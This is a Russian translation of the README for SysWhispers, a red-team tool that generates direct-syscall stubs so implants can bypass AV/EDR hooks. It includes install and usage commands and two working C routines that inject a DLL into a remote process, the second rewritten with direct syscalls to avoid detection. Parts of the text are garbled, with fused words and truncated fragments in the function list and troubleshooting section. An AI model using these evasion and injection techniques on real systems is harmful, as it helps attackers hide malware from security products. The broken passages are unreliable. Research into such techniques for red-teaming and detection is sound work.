
Обход AV/EDR с помощью прямых системных вызовов.
SysWhispers помогает с обходом защиты, генерируя файлы заголовков/ASM, которые импланты могут использовать для прямых системных вызовов.
Поддерживаются все основные системные вызовы от Windows XP до Windows 10 19042 (20H2). Примеры сгенерированных файлов доступны в папке example-output/.
Различные продукты безопасности устанавливают перехватчики в пользовательские API, позволяя им перенаправлять поток выполнения в свои движки и обнаруживать подозрительное поведение. Функции в ntdll.dll, выполняющие системные вызовы, состоят всего из нескольких инструкций ассемблера, поэтому их повторная реализация в вашем собственном импланте может обойти срабатывание этих перехватчиков. Эта техника была популяризирована @Cn33liz, а в его статье в блоге содержится больше технических деталей, которые стоит прочитать.
SysWhispers предоставляет специалистам по красным командам возможность генерировать пары заголовок/ASM для любого системного вызова в образе ядра (ntoskrnl.exe) для любой версии Windows, начиная с XP. Заголовки также будут включать необходимые определения типов.
Основное отличие реализации от Dumpert POC заключается в том, что здесь не вызывается RtlGetVersion для запроса версии ОС, вместо этого это делается в ассемблере путём прямого запроса PEB. Преимущество в том, что можно вызывать одну функцию, поддерживающую несколько версий Windows, вместо вызова нескольких функций, каждая из которых поддерживает одну версию.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Экспорт всех функций с совместимостью для всех поддерживаемых версий Windows (см. example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Экспорт только общих функций с совместимостью для Windows 7, 8 и 10.
py .\syswhispers.py --preset common -o syscalls_common
# Экспорт NtProtectVirtualMemory и NtWriteVirtualMemory с совместимостью для всех версий.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Экспорт всех функций с совместимостью для Windows 7, 8 и 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscom.asm
syscom.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Импортируем сгенерированный заголовок.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Использование переключателя --preset common создаст пару заголовок/ASM со следующими функциями:
win32k.sys) не поддерживаются.ModuleNotFoundError в Python-скрипте.
pip3 install -r requirements.txt.syscalls.h уже были определены.
--preset all редко требуется).syscalls.h.Этот скрипт был разработан @Jackson_T, но основан на работе многих других:
Особая благодарность @Dcept905 за тестирование и предложения.
Этот проект лицензирован в соответствии с Apache License 2.0.